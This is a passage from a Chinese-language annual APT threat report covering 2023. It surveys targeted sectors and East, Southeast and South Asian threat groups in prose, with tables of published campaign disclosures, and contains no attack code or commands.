Android 开源项目的基础上进行二次开发的定制化系统；不少桌面应用程序使用 Electron/Cef 等框架进
行构建，而这些框架底层又是以 Chromium 为基础的。二次定制开发固然可以减少开发成本，并提升
开发速度，但是也带来了一系列安全问题。上述两个示例中，Android 及 Chromium 是 Goolge 旗下的
核心项目，Google 本身对产品安全极为重视，因此这两个项目每天会有大量漏洞被修复，其版本迭代
都是非常迅速的，但是基于这些基础项目进行二次开发的厂商却往往鲜少能跟上 Google 更新步伐。

这就导致很多原生项目中已经修复的问题在二级开发的应用中以 0day 的形式重新回归。比如，三星手
机的浏览器因未及时跟进 Chromium 的安全升级，导致 CVE-2022-4262/CVE-2022-3038 两个 Nday 被
用于在野攻击；此外还有如微信早年因未能及时跟进内置的 v8 引擎代码更新从而出现在野攻击利用的
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例子。可以预见未来与软件二次开发有关的攻击会越来越多，这样的攻击对于攻击者而言成本较低，因
为相关漏洞的 EXP 已经开源，但在攻击效果上却是 0day 级别的。未来如何尽快跟上原生项目的更新步
伐将成为厂商的一大挑战。

（五） 针对国产化软件的攻击越来越多

（一） 政府机构

近年来软件国产化进程逐步推进，从操作系统到办公软件，再到邮件服务器，大量国产软件开始涌现。
攻击者也随之调整自己的进攻手段，其中一个明显的信号便是在近两年的网络演习中出现了不少针对
WPS 和国产邮件软件的 0day 攻击。重要基础软件的国产化是大势所趋，与此同时，如何确保这些软件
的安全性同样值得关注。基础软件形成成熟完善的安全生态需要厂商和安全研究人员双方通力合作，一
方面在于国产软件厂商自身对安全的重视程度，另一方面则是建立一套行之有效、利益分配得当的漏洞
披露机制，引导更多安全研究人员参与到国产软件的潜在安全问题发现过程中。

由国家背景支持的 APT 威胁活动往往与国家利益存在关联，历年来政府机构都是 APT 组织首要攻击目标。
然而在 2023 年针对政府部门的 APT 攻击活动中，与外交相关的活动占比超 1/5，较往年显得尤为突出。

从 2022 年延续至今仍未结束的俄乌冲突，催生了多场数字战争，攻击目标从俄乌两国，扩散到欧盟、
北约成员国，覆盖甚广。根据开源情报显示，APT29 今年多次针对外交目标，先后仿冒了波兰、乌克兰、
土耳其、挪威、德国等北约、欧盟国家大使馆进行攻击 [1,2,3,4]。乌克兰计算机应急响应小组 CERT-UA 报告称，
APT28 组织于 2023 年 5 月等对伊朗外交机构进行了有针对性的网络攻击 [5]。

2023 年 4 月，黑客组织 Anonymous 宣布回归其反以色列运动“OpIsrael”，并积极针对暴露于互联网

五、2023 年全球受害行业分析

APT 威胁是定向性的，攻击者往往会选择特定的行业、地域和受害者目标进行攻击，这些是由 APT 组织
在实施行动前制定的阶段性目标和行动背后的动机所决定的。从历史经验来看，APT 组织在一段时间内
会保持对其攻击目标行业的专注，这可能也源自攻击组织在针对新的行业实施攻击时，需要时间收集和
熟悉目标，调整攻击技战术以适配目标行业，以及构建相应的攻击武器库。

2023 年武装冲突不断，从以色列 - 哈马斯战争到俄罗斯与乌克兰的持续战斗，引发了一系列连锁反应，
也体现在 APT 威胁活动对攻击目标的选择上。同 2022 年一样，政府部门、国防军事仍是 2023 年 APT
攻击活动的重灾区。此外，科研教育、信息技术也是 2023 年 APT 威胁的主要行业目标。
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（二） 国防军事

针对国防军事目标的攻击活动主要集中在东欧、南亚，这两个地区地缘政治关系极度复杂。此外，也有
不少新组织瞄准国防军事目标进行攻击。

的工业控制系统（ICS）设备。从披露的报告来看，MuddyWater 等组织也表现出对以色列目标的浓厚兴趣。
Sekoia 安全研究人员在报告 [6] 中推测 AridViper 由两个小组组成，一个小组针对以色列和中东地区任何
可能参与巴勒斯坦事务的实体进行网络间谍活动，第二个小组重点针对巴勒斯坦哈马斯反对派（包括法
塔赫竞争对手运动或个人）进行监视活动。

在已披露的 Saaiwc 攻击活动中，近一半的受害目标与外交部门相关，涉及印度尼西亚 [7,8]、越南 [9] 等国。
此外，研究人员发现，蔓灵花组织新增蒙古作为攻击目标，主要针对其外交部门进行攻击 [10]。

(1) 东欧地区
东欧地区仍以老牌 APT 组织 Ghostwriter、Turla、Sandworm、APT28 等针对乌克兰的攻击为主，也
出现一些新组织，如 2023 年 4 月国内友商披露的一起针对俄罗斯军事部队的攻击活动 [11]。据友商报告，
该攻击活动背后的威胁组织 APT-LY-1007 疑似诞生于俄乌网络战时期，主要攻击目的为窃取俄罗斯军事
机密。除俄罗斯国防部外，该组织还针对俄罗斯铁路部门。

2023 年 8 月，国外安全厂商 SentinelOne 报告称，俄罗斯国防工业基地于 2022 年 5 月遭到两个东北亚
来源的 APT 组织入侵 [12]。根据分析，其中对电子邮件服务器的入侵归因于 Group123 组织，而 Lazarus 
Group 的后门被单独使用来入侵其内部网络。

(2) 南亚地区
频繁针对国防军事组织进行攻击的南亚地区 APT 组织主要有 SideCopy、透明部落、Patchwork、魔罗
桫等组织。

今年以来，SideCopy 一直积极瞄准印度，尤其是国防部门。在相关活动中，该组织使用了 FetaRAT 等
多个新的 RAT[13,14]，并将 WinRAR 漏洞 CVE-2023-38831 纳入武器库用于针对印度国防目标的攻击 [15]。

巴基斯坦则在 2023 年遭到 Patchwork、金刚象、魔罗桫、NewsPenguin 等多个组织的攻击 [16,17,18,19,20]。
其中，NewsPenguin 是国外友商 BlackBerry 于今年 2 月披露的新组织，其使用的恶意软件会执行多项
检查以确认是否在沙盒环境中运行，以此来躲避安全检测。
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(3) 其他地区
东 亚 地 区 国 防 军 事 目 标 遭 受 APT 攻 击 的 国 家 包 括 中 国 [21]、 韩 国 [22,23,24]。 对 韩 国 攻 击 的 组 织 有
Group123、Kimsuky、Lazarus 等。

Saaiwc 主要针对亚太地区进行攻击，2023 年发现的国防军事受害目标来自马来西亚、泰国、文莱、菲
律宾等国家 [9,25,26]。

（三） 信息技术

在软件供应链攻击中，攻击者通常从上游或中游软件供应商介入，将其恶意代码传向下游的众多用户，
因而一旦攻击成功，其攻击规模往往更大，影响更深远。

2023 年 Lazarus 组织展开了多次供应链攻击：

12 月 14 日，研究人员发布报告称，APT29 正在大规模利用漏洞 CVE-2023-42793，目标是自 2023 年 9
月起托管 JetBrains TeamCity 软件的服务器 [33]。软件开发人员会使用 TeamCity 来管理软件开发中的
编译、构建、测试和发布等过程并使之自动化。一旦遭到入侵，恶意行为者就可以通过访问 TeamCity
服务器获取软件开发人员的源代码、签名证书，并篡改软件编译和部署流程，进而可利用这些访问权限
实施供应链攻击操作。在今年早些时候，还发现 APT29 通过 Microsoft Teams 进行有针对性的社会工
程攻击 [34]，目标包括 IT 服务、技术等多个行业。

披露时间 事件概要

4 月 通过 3CX 供应链攻击部署 Gopuram 后门 [27]

7 月 利用 SaaS 提供商进行有针对性的供应链攻击 [28]

8 月 首次针对加密货币行业发起开源供应链攻击 [29]

8 月 发动 VMConnect 供应链攻击 [30]

11 月 修改讯连科技的应用程序以进行供应链攻击 [31]

12 月 以加密为主题的 npm 包供应链攻击 [32]

表 2.6 Lazarus 组织发动的供应链攻击
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（四） 科研教育

开源情报数据统计结果显示，科研教育行业遭受 APT 组织攻击的三大重灾区为韩国、中国、印度。

APT43 是 Mandiant 于今年 3 月披露的新组织，针对韩国政府、商业服务和制造业的同时，也专注于该
国地缘政治和核政策的教育、研究和智库等部门 [35]。

针对中国科研教育行业目标攻击的组织主要来自南亚地区，包括 Patchwork、Bitter、Sidewinder、
CNC 等组织 [36,37,38,39]。攻击频次以 Patchwork 组织为最，在 4 月份披露的攻击活动中，发现该组织对
BADNEWS 后门关键功能的调用顺序和方式做出了改进，更换了控制指令和调整对应功能的实现，替换
部分关键字符串 [36]。

根据友商报告显示，南亚地区一新 APT 组织“X 象”在 2023 下半年通过模仿我国 " 慧眼行动 " 官方机构，
向相关科研机构发送鱼叉式网络钓鱼邮件 [40]，基于攻击过程和其所仿冒的相关信息分析，攻击者正以我
国高校、科研院所、创新企业、科研机构等为目标，通过社工伪装试图实现对相关科研人员电脑的远程
控制。

2023 年以来，C-Major 组织增加了对印度教育目标的关注度，多次针对相关机构进行攻击 [41,42,43,44]。值
得注意的是，其中一份报告表示，C-Major 组织分别从移动端、PC 端伪装成教育相关页面对印度目标进
行钓鱼 [41]，同时借助 Android、Windows、Linux 三个平台的新型攻击工具进行信息窃取活动。
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第三章 地缘下的APT组织、活动和趋势

地域分析是 APT 研究的重要方面。一方面，同一地域范围的 APT 组织和 APT 活动常常出现一些重叠，
其可能针对相似的攻击目标或者使用类似的 TTP；另一方面，同一地区发生的很多 APT 活动，都与地缘
政治因素密切相关，这对分析 APT 活动的意图和动机很有帮助。

图 3.1 2023 年全球 APT 组织分布情况

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告

图 3.1 列举了 2023 年全球各地区主要活跃的 APT 组织，全球主要 APT 组织列表也可以参见附录 1。
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一、东亚地区
East  Asia
2023 年，东亚网络空间再度成为全球焦点之一，发生了众多引人瞩目的网络攻击事件。

根据公开报告，东亚地区 APT 组织在网络攻击中广泛使用 0day 漏洞和 Nday 漏洞，攻击者采用社会工
程学、供应链攻击、鱼叉式网络钓鱼等多种手段，对政府、军事、金融、能源、教育、加密货币等多个
领域构成了严重的威胁。

表 3.2 总结了东亚地区部分 APT 组织的相关信息：

东亚 APT 组织 攻击能力

Lazarus		
Kimsuky		
APT37		
APT43		

++
+
++
++
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表 3.2 2023 年东亚地区活跃 APT 组织

组织名 最早活动时
间 公开披露时间 组织简介

Lazarus 2009 2009

Lazarus 组织，又名 Hidden Cobra、ZINC 等，是东亚地区最为
活跃的 APT 组织之一。攻击目标遍布全球，涉及经济、政府等多
个领域的组织机构。现在业界普遍认为该组织拥有 BlueNoroff 和
Andariel 两个子团伙，其中 BlueNoroff 专注于实施金融领域的网
络犯罪，主要瞄准金融机构和加密货币交易所，而 Andariel 的攻
击目标则包括其他国家的政府、基础设施和企业。

Kimsuky 2013 2013
Kimsuky 最早由卡巴斯基于 2013 年公开披露并命名，攻击活动最
早可追溯至 2012 年。其被认为具有东亚地区背景，与 Group123 
APT 组织存在基础设施重叠等关联性。

APT37 2012 2016
Group123，也称 ScarCruft，在 2016 年 6 月由卡巴斯基最先进行
披露，最早活跃于 2012 年，该组织被认为与 2016 年的 Operation 
Daybreak 和 Operation Erebus 有关。Group123 和 APT 组织
Kimsuky 存在特征重叠。

APT43 2018 2023
Mandiant 自 2018 年以来一直在跟踪 APT43 组织。该组织进行间
谍活动的重点区域是韩国、日本、欧洲和美国 , 攻击目标包括政府、
商业服务和制造业，以及专注于地缘政治和核政策的教育、研究和
智库。

Konni 2014 2017

Konni 最开始是 Cisco Talos 团队于 2017 年披露的一类远控木
马，活动时间可追溯到 2014 年，攻击目标涉及俄罗斯、韩国地
区。2018 年，Palo Alto 发现该类恶意软件与 APT37 有关的木马
NOKKI 存在一些关联。2019 年起，韩国安全厂商 ESTsecurity 将
Konni 单独作为疑似具有东亚背景的 APT 组织进行报告和披露，并
发现该组织与 Kimsuky 有一定联系。

APT-Q-12( 伪
猎者 ) 2018 2021

APT-Q-12 组织是奇安信最早发现并进行内部跟踪的一个 APT 组织，
该组织主要针对在韩中国人和中韩贸易相关人员进行定向攻击活
动。该团伙善于使用鱼叉邮件投递 LNK、CHM 恶意文件作为第一
阶段木马，并使用 COM 劫持的方式实现持久化，拥有自己的特种
木马，免杀水平较高。

2023 年第一季度，Lazarus 组织利用 3CXDesktopApp 音视频会议软件展开的供应链攻击在全球范围内
引发轩然大波，更令人惊讶的是，后续调查发现攻击者能够进入软件开发环境植入恶意代码是源自另一
起供应链攻击。这不仅是一场技术层面的角力，更是对网络安全界的一次震撼。

Lazarus 组织在 2023 年继续展开了多起意图窃取虚拟货币的网络攻击。对加密货币行业的攻击引起了
美国联邦调查局的关注，该机构于 8 月份发布了一份公告称已追踪到被 Lazarus 组织窃取的加密货币 [45]。

2023 年度，Lazarus 组织不仅对加密货币、金融和国防等传统目标实施了更为激烈的攻击，还将矛头指
向了航空航天等领域。该组织攻击方式灵活，手法多样，使其成为一个对东亚地区甚至全球范围内的经济、
金融和国防安全都极具威胁的存在。
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在2023年，Kimsuky组织持续拓展其攻击领域，特别是在移动端频繁展开恶意活动。通过巧妙设计的
诱饵和欺骗手段，攻击者引导用户点击恶意链接或下载经过伪装的恶意应用。为提高诱饵的吸引力和成
功率，Kimsuky组织通常对特定个人、组织或行业进行有针对性的网络钓鱼活动，一般会伪装成合法应
用、网站或服务，旨在引导用户提供敏感信息，如登录凭据、银行账户信息等。

Kimsuky组织2023年的威胁活动覆盖各行各业，政府机构、金融机构、企业以及个人用户都可能成为其
攻击目标。Kimsuky组织在攻击中投递伪装成文档查看器的恶意批处理文件，采用新的社会工程学方法
窃取凭证并收集敏感数据。此外攻击者还使用Chrome远程桌面、韩文域名进行恶意活动，使用RDP控
制受感染的系统，通过伪装为进口申报文档来针对研究机构等，展示了其多样化的攻击手段。

APT37也是东亚地区极其活跃的APT组织之一，该组织在2023年度频繁针对macOS平台用户，通过鱼叉
邮件、水坑攻击等策略，结合0day/Nday漏洞利用，以多种文件格式（如CHM、HTA、HWP等）投递后
门软件，从而实施监控、机密数据窃取等复杂网络间谍活动。

下表列出了东亚网络空间相关APT组织在2023年度的部分活动：

图 3.3 2023 年 Lazarus 组织发起的三次攻击活动的感染链 [46]
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组织名 报告内容 披露时间 披露机构

Kimsuky Kimsuky 移动端恶意活动瞄向韩国东亚研究所国家安全主任 [46] 2023/1/1 安天

Lazarus
疑似 APT-C-26（Lazarus）组织通过加密货币钱包推广信息进行攻击
活动 [48] 2023/1/11 360

APT38 TA444：旨在窃取（您的资金）的 APT 团伙 [49] 2023/1/25 Proofpoint

Lazarus Lazarus 攻击医疗机构和能源部门 [50] 2023/2/2 WithSecure

APT37 APT37 组织投递使用隐写术的 Hangul (HWP) 恶意软件 [51] 2023/2/14 ASEC

Lazarus Lazarus 组织使用的反取证技术 [52] 2023/2/15 ASEC

Lazarus WinorDLL64：来自庞大的 Lazarus 武器库的后门 [53] 2023/2/23 ESET

Kimsuky Kimsuky 最新网络钓鱼攻击披露，韩国主流金融 APP 成重灾区 [54] 2023/3/3 安天

Kimsuky Kimsuky 投递伪装成朝鲜相关问卷的 CHM 恶意软件 [55] 2023/3/13 ASEC

Kimsuky Kimsuky 假借“网络安全局”邮件名义进行黑客攻击 [56] 2023/3/14 ESTsecurity

Kimsuky
Kimsuky 组织利用“协议离婚意向确认申请书”伪装投递
QuasarRAT[57] 2023/3/15 ESTsecurity

Kimsuky Kimsuky 似乎正像网络犯罪团伙一样利用 OneNote[58] 2023/3/17 S2W

APT37 APT37 攻击向量披露 [59] 2023/3/21 Zscaler

APT37 APT37 的 Chinotto 后门采用的新技术 [60] 2023/3/28 ThreatMon

APT43 APT43 利用网络犯罪资助间谍活动 [35] 2023/3/28 Mandiant

Kimsuky Kimsuky 组织使用 ADS 隐藏恶意软件 [61] 2023/3/29 ASEC

Lazarus 通过 3CX 供应链攻击部署的 Gopuram 后门 [27] 2023/4/3 Kaspersky

APT43 保护用户免受来自 APT43 组织的攻击 [62] 2023/4/5 Google

Lazarus 追踪 Lazarus 组织的 DeathNote 攻击活动 [24] 2023/4/12 Kaspersky

APT43 对 APT43 网络犯罪活动的调查 [63] 2023/4/20 VirusTotal

Lazarus Linux 恶意软件加强了 Lazarus 与 3CX 供应链攻击之间的联系 [64] 2023/4/20 ESET

BlueNoroff BlueNoroff 使用 RustBucket 恶意软件针对 macOS 用户 [65] 2023/4/21 Jamf

APT37 APT37 针对韩国外交部下发 RokRAT 的窃密活动 [66] 2023/4/28 安恒

表 3.4 2023 年东亚地区 APT 组织热点攻击活动 *1
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组织名 报告内容 披露时间 披露机构

APT37 ROKRAT 恶意软件的攻击链分析 [67] 2023/5/1 CheckPoint

Kimsuky Kimsuky 在针对全球的攻击活动中侦察能力的演进 [68] 2023/5/4 SentinelOne

Kimsuky Kimsuky 使用 Meterpreter 攻击 Web 服务器 [69] 2023/5/15 ASEC

APT37 APT-C-28（ScarCruft）组织利用恶意文档投递 RokRat[70] 2023/5/19 360

APT37 APT37 冒充朝鲜人权组织的鱼叉式网络钓鱼攻击 [71] 2023/5/23 Genians

Lazarus Lazarus 组织以 Windows IIS Web 服务器攻击目标 [72] 2023/5/23 ASEC

Kimsuky Kimsuky 以定制的侦察工具集展开持续攻击活动 [73] 2023/5/23 SentinelOne

APT37 逆向 RokRAT：深入了解 APT37 基于 Onedrive 的攻击向量 [74] 2023/5/31 ThreatMon

Kimsuky
Kimsuky 攻击者利用社会工程学方式攻击智囊团、学术和媒体机构
[75] 2023/6/1 NSA

Kimsuky 假借“生日祝福”为诱饵分发 Quasar RAT 的攻击活动分析 [76] 2023/6/5 360

APT37 APT37 组织恶意软件伪装成 Hancom Office 文档文件分发 [77] 2023/6/1 ASEC

Kimsuky Kimsuky 新的社会工程活动旨在窃取凭证并收集战略情报 [78] 2023/6/6 SentinelOne

APT37 APT37 针对 macOS 用户的攻击 [79] 2023/6/20 Genians

APT37 APT37 组织窃听个人 [80] 2023/6/21 ASEC

Lazarus APT-C-26（Lazarus）组织使用伪造 VNC 软件的攻击活动分析 [81] 2023/6/26 360

Andariel Lazarus 子组 Andariel 使用新恶意软件 EarlyRat[82] 2023/6/28 Kaspersky

BlueNoroff BlueNoroff 使用 RUSTBUCKET 恶意软件新变种进行攻击 [83] 2023/6/29 Elastic

Kimsuky Kimsuky 投递伪装成文档查看器的恶意批处理文件 [84] 2023/6/29 ASEC

BlueNoroff
Lazarus 子组 BlueNorOff 的 macOS 恶意软件 RustBucket 绕过分析
和检测采用的新技术 [85] 2023/7/5 SentinelOne

Kimsuky Kimsuky 组织使用 Chrome 远程桌面 [86] 2023/7/7 ASEC

APT37 Group123 组织利用云服务的攻击活动分析 [87] 2023/7/11 奇安信

APT37
APT-C-28（ScarCruft）组织针对能源方向投放 Rokrat 后门活动分
析 [88] 2023/7/13 360

APT-Q-12( 伪猎
者 ) 军事话题成焦点：伪猎者 APT 组织威胁持续曝光 [89] 2023/7/19 微步在线

表 3.4 2023 年东亚地区 APT 组织热点攻击活动 *2
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组织名 报告内容 披露时间 披露机构

Lazarus Lazarus 组织攻击 Windows 服务器将其用作恶意软件分发点 [90] 2023/7/24 ASEC

UNC4899 UNC4899 团伙利用 SaaS 服务提供商进行有针对性的供应链攻击 [28] 2023/7/24 Mandiant

Konni Konni 组织疑似针对韩国企业的攻击活动 [91] 2023/7/31 安天

Konni Konni 冒充国税厅邮件发送通知进行攻击 [92] 2023/7/31 Genians

Lazarus Lazarus 首次针对加密货币行业发起开源供应链攻击 [29] 2023/8/2 Checkmarx 
Security

Lazarus Lazarus 攻击受制裁的俄罗斯导弹工程公司 [93] 2023/8/7 SentinelOne

Andariel Lazarus 子组 Andariel 组织新的攻击活动分析 [94] 2023/8/22 ASEC

Lazarus Lazarus 利用 ManageEngine 漏洞部署 QuiteRAT[95] 2023/8/24 Cisco

Lazarus Lazarus 组织重用基础设施导致新恶意软件的曝光 [96] 2023/8/24 Cisco

Kimsuky APT-C-55（Kimsuky）组织使用韩文域名进行恶意活动 [97] 2023/8/28 360

APT37 APT37 以福岛核污水排放为诱饵主题的 CHM 恶意软件 [98] 2023/9/4 ASEC

APT37、Konni
韩美大规模联合军演挑衅升级？东北亚半岛 APT 组织近期攻击活动
分析 [99] 2023/9/12 知道创宇

Lazarus APT-C-26（Lazarus）组织使用 EarlyRat 的攻击活动分析 [100] 2023/9/12 360

Konni
Konni 利用 WinRAR 漏洞（CVE-2023-38831）首次攻击数字货币行
业 [101] 2023/9/14 知道创宇

APT37 APT37 利用政治和社会话题为诱饵进行攻击 [102] 2023/9/19 ESTsecurity

APT37 ScarCruft 组织针对高校的新活动 [103] 2023/9/25 深信服

Lazarus
Lazarus 用木马化的编程试题引诱员工：来自西班牙航空航天公司的
案例 [104] 2023/9/29 ESET

Lazarus 来自 Lazarus 威胁组织的 Volgmer、Scout 恶意软件分析报告 [105] 2023/10/4 ASEC

Kimsuky Kimsuky 威胁组织使用 RDP 控制受感染系统 [106] 2023/10/16 ASEC

Lazarus 多个威胁行为者利用 TeamCity CVE-2023-42793 漏洞 [107] 2023/10/18 Microsoft

Lazarus Lazarus 展开的级联攻击活动 [46] 2023/10/27 Kaspersky

Kimsuky FastViewer 变体融合 FastSpy，并伪装成合法移动应用程序 [109] 2023/10/30 S2W

表 3.4 2023 年东亚地区 APT 组织热点攻击活动 *3
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组织名 报告内容 披露时间 披露机构

Lazarus
Lazarus 借用 macOS 恶意软件感染加密货币交易平台的区块链工程
师 [110] 2023/11/1 Elastic

BlueNoroff Lazarus 子组 BlueNoroff 再次发起 macOS 恶意软件攻击活动 [111] 2023/11/6 Jamf

Andariel Lazarus 子组 Andariel 使用资产管理程序传播恶意软件 [112] 2023/11/10 ASEC

Kimsuky Kimsuky 通过进口申报文档的伪装攻击韩国研究机构 [113] 2023/11/21 ASEC

Lazarus Lazarus 在供应链攻击中分发修改过的讯连科技软件安装程序 [31] 2023/11/22 Microsoft

Andariel
Lazarus 子组 Andariel 组织利用 Apache ActiveMQ 漏洞 CVE-2023-
46604[114] 2023/11/27 ASEC

APT37
APT-C-28（ScarCruft）组织针对韩国部署 Chinotto 组件的活动分析
[115] 2023/12/1 360

Kimsuky Kimsuky 组织使用 AutoIt 创建恶意软件 [116] 2023/12/1 ASEC

BlueNoroff
Lazarus 子组 BlueNorOff 在针对 macOS 用户的攻击活动中使用新
的木马 [117] 2023/12/5 Kaspersky

Lazarus 疑似 Lazarus（APT-Q-1）涉及 npm 包供应链的攻击样本分析 [119] 2023/12/8 奇安信

Lazarus
Operation Blacksmith: Lazarus 使用 DLang 编写基于 Telegram 的
恶意软件攻击全球组织机构 [120] 2023/12/11 Cisco

Konni Konni 组织以邮件安全检查手册为诱饵的窃密行动分析 [121] 2023/12/18 奇安信

表 3.4 2023 年东亚地区 APT 组织热点攻击活动 *4
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2023 年东南亚地区活跃 APT 组织局面发生变化。Saaiwc（别名 DarkPink）组织异军突起，自 2023 年
1 月首次曝光以来，国内外安全厂商多次披露该组织的攻击活动。而海莲花组织出现在公开报告中的次
数减少，有可能是降低了攻击频度，也可能因为攻击技战术的转变升级导致活动变得更加隐蔽。

二、东南亚地区
Southeast  Asia

东南亚 APT 组织 攻击能力

海莲花
Saaiwc	

++
+
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表 3.5 2023 年东南亚地区活跃 APT 组织

图 3.6 Saaiwc 组织利用 CVE-2023-38831 漏洞的攻击流程 [132]

组织名 最早活动时间 公开披露时间 组织简介

海莲花 2012 2015

海莲花组织是由奇安信威胁情报中心最早披露并命名的一个 APT 组织，其自
2012 年 4 月起，该组织针对中国政府、科研院所、海事机构、海域建设、航运
企业等相关重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。
海莲花组织的攻击目标包括中国和东南亚地区多国，覆盖政府机构、科研院所、
媒体、企业等诸多领域。

Saaiwc      2021 2023

Saaiwc 组织又名 DarkPink，于 2023 年 1 月由国内外安全厂商先后披露，活
动时间可追溯至 2021 年年中，在 2022 年进入攻击活动高发期。
该组织的攻击目标包括越南境内的宗教、非营利组织，马来西亚、印度尼西亚、
柬埔寨、菲律宾、泰国、文莱等东南亚国家的政府和军事机构，以及欧洲国家
的政府、教育机构。

Ducktail 2021 2022
Ducktail 组织由国外安全厂商于 2022 年披露，其攻击活动至少从 2021 年开始。
Ducktail 的攻击以经济利益驱动，常针对 Facebook Business 账号展开窃密行
动，目的是操纵页面并获取财务信息。该组织的攻击目标覆盖全球多个国家。

WinRAR的CVE-2023-38831漏洞曝光后被多个攻击团伙纳入网络钓鱼武器库，其中包括Saaiwc组织。
Saaiwc组织在下半年的攻击活动中利用该漏洞向越南和马来西亚的多个目标投递恶意软件[132]。
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攻击流程整体上与Saaiwc组织以往的行动相似，不过攻击者也做了一些改进。此次攻击活动中，攻击者
将触发后续流程的文件类型设为”.amv”，并在开机启动目录下创建具有”.amv”扩展名的空文件，
从而实现恶意软件的触发。通过将恶意代码拆分后写入注册表，进一步避开检测。

海莲花组织在今年上半年针对国内的攻击活动中继续使用攻陷设备作为网络跳板，该组织还被观察到启
用以往的网络基础设施向国内某重点单位发起攻击。年底一起以购买BMW汽车为诱饵主题的定向攻击被
安全研究人员归因为海莲花组织[135]，不过根据奇安信威胁情报中心的视野，此次攻击是内部追踪的另一
个攻击团伙系列活动的延续，而该团伙尚未明确具体归属。

以经济利益驱动的网络攻击行动Ducktail在2023年被更多安全厂商曝光，然而不同安全厂商对背后攻
击团伙的范围界定存在一些分歧。在一些针对Facebook Business账号的窃密行动中，攻击者表现出与
Ducktail首次披露[137]时不同的特征，有些安全厂商将其视为攻击手法的转变[138,127]，另一些厂商则认为
攻击者虽然目的相同，并且攻击方式有相似之处，但来自独立运作的不同团伙[139,131]。Zscaler在8月30
日的报告[130]中称Ducktail为“一项涉及多个威胁组织的行动”，安全研究人员发现除了针对Facebook
用户，攻击者也会窃取受害者在其他广告平台（比如TikTok Business和Google Ads）上的账户访问权
限，被盗取的账户流入东南亚地下市场售卖交易。

图 3.7 Zscaler 对 Ducktail 行动的简述 [130]

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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去年首次披露Ducktail的安全厂商WithSecure在今年8月31日发布的报告[131]中也提到，他们观察到多个
威胁组织具有与Ducktail相似的能力和基础设施，针对类似的受害群体，但也有独特之处，使其可以被
划分为不同的团伙。这些威胁组织之间可能共享工具和技术手段，均参与到东南亚地区以社交媒体平台
（如Facebook/Meta）为中心的网络犯罪生态系统中，这导致威胁组织的跟踪和归因变得模糊不清。

这些威胁组织常用的恶意软件类型包括：浏览器插件（JavaScript）、NodeJS可执行文件、Python可
执行文件（PyInstaller/Nuitka）以及.NET代码（NET Core和.NET框架）。攻击者传播恶意软件的方式
也十分多样，借助的渠道包括：Facebook（虚假广告、网页、私信）；LinkedIn（虚假招聘广告、发
帖、私信）；自由职业网站（虚假招聘广告）；WhatsApp（私信）；邮件（鱼叉式钓鱼邮件）；搜索
引擎SEO投毒等。

WithSecure一直将Ducktail作为单独的攻击团伙进行追踪，在上面报告中，他们披露了另一个与
Ducktail相似的攻击团伙，将其命名为Duckport。

奇安信威胁情报中心整理了2023年度东南亚地区APT组织的主要攻击活动，如下表所示。

图 3.8 WithSecure 的 Meet the Ducks 报告部分内容 [131]

组织名 报告内容 披露时间 披露来源

Saaiwc Saaiwc 组织针对东南亚军事、财政等多部门的攻击活动分析 [122] 2023-01-06 安恒

Saaiwc DarkPink 攻击亚太地区和欧洲 [123] 2023-01-11 Group-IB

Saaiwc Saaiwc 组织攻击马来西亚、印度尼西亚外交部 [124] 2023-02-13 安恒
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组织名 报告内容 披露时间 披露来源

Ducktail
Ducktail 攻击行动再现，利用 LNK、PowerShell 和其他策略躲避检
测 [125] 2023-03-10 Deep Instinct

Saaiwc Saaiwc 组织针对印尼政府的攻击活动分析 [126] 2023-03-15 360

Saaiwc
DarkPink 组织针对印度尼西亚外交部门和菲律宾军事部门的攻击活
动 [26] 2023-03-20 安天

Ducktail Ducktail 以社会工程学开始的复杂感染链 [127] 2023-03-29 Yoroi

Ducktail 对 Ducktail 攻击行动的调查 [128] 2023-05-09 Trend Micro

Saaiwc DarkPink 组织的多个新受害者 [25] 2023-05-31 Group-IB

疑似海莲花 SPECTRALVIPER 恶意软件攻击越南大型企业 [129] 2023-06-09 Elastic

Ducktail 深入了解 Ducktail[130] 2023-08-30 Zscaler

Ducktail, 
Duckport 针对 Meta Business 帐户的威胁组织 [131] 2023-08-31 WithSecure

Saaiwc
DarkPink 利用 WinRAR 漏洞 CVE-2023-38831 攻击越南与马来西亚
多个目标 [132] 2023-10-11 绿盟

Duckport 针对 LINKEDIN 上的专业人士的信息窃取活动 [133] 2023-11-01 Appgate

Ducktail 以时装诱饵针对营销人士的攻击活动 [134] 2023-11-10 Kaspersky

疑似海莲花 以购买 BMW 汽车为主题针对国内的攻击活动 [135] 2023-11-30 知道创宇

Ducktail 新版本 DarkGate 恶意软件 [136] 2023-12-07 WithSecure

表 3.9 2023 年东南亚地区 APT 组织热点攻击活动
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三、南亚地区
South  Asia
根据 2023 年公开报告整理结果，南亚地区依然是几个老牌 APT 组织活跃攻击，即透明部落、蔓灵花、
响尾蛇和摩诃草。此外我们去年发现的 APT 组织金刚象（VajraEleph）在今年依然活跃。

南亚 APT 组织 攻击能力

蔓灵花		
肚脑虫 /Donot	Team		
透明部落 /Transparent	Tribe		
SideCopy	
响尾蛇 /Sidewinder		
摩诃草		
幼象 /CNC		

+
+
+
+
++
++
+
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表 3.10 2023 年南亚地区活跃 APT 组织

组织名 最早活动时间 公开披露时间 组织简介

蔓灵花
(Bitter) 2013 2016

主要针对巴基斯坦、中国两国，其攻击目标为政府部门、电力、军
工业相关单位，意图窃取敏感资料，并与摩诃草、魔罗桫存在关联。
奇安信内部跟踪编号为 APT-Q-37。

肚脑虫
(Donot) 2016 2017

主要针对巴基斯坦、中国、斯里兰卡等南亚地区国家，对政府机
构、国防军事部门以及商务领域重要人士实施网络间谍活动。主
要使用 yty 和 EHDevel 两套恶意框架。奇安信内部跟踪编号为
APT-Q-38。

透明部落
(Transparent 

Tribe)
2012 2016

该组织别名 C-Major。主要针对印度政府、军队或相关组织，以及
巴基斯坦的激进分子和民间社会团体，利用社会工程学进行鱼叉攻
击，同时也会在移动端发起攻击。

SideCopy 2019 2020
主要针对印度、巴基斯坦和阿富汗，以政府、国防、军事等相
关组织人员为目标进行网络间谍活动。因其攻击手法主要复制
Sidewinder 及其他 APT 组织的 TTP 而得名。

响尾蛇
(Sidewinder) 2012 2018

主要针对巴基斯坦、中国、阿富汗、尼泊尔、孟加拉等国家展开攻击，
旨在窃取政府外交机构、国防军事部门、高等教育机构等领域的机
密信息。常使用已知漏洞 (CVE-2017-11882) 开展攻击活动。奇安
信内部跟踪编号为 APT-Q-39。

摩诃草
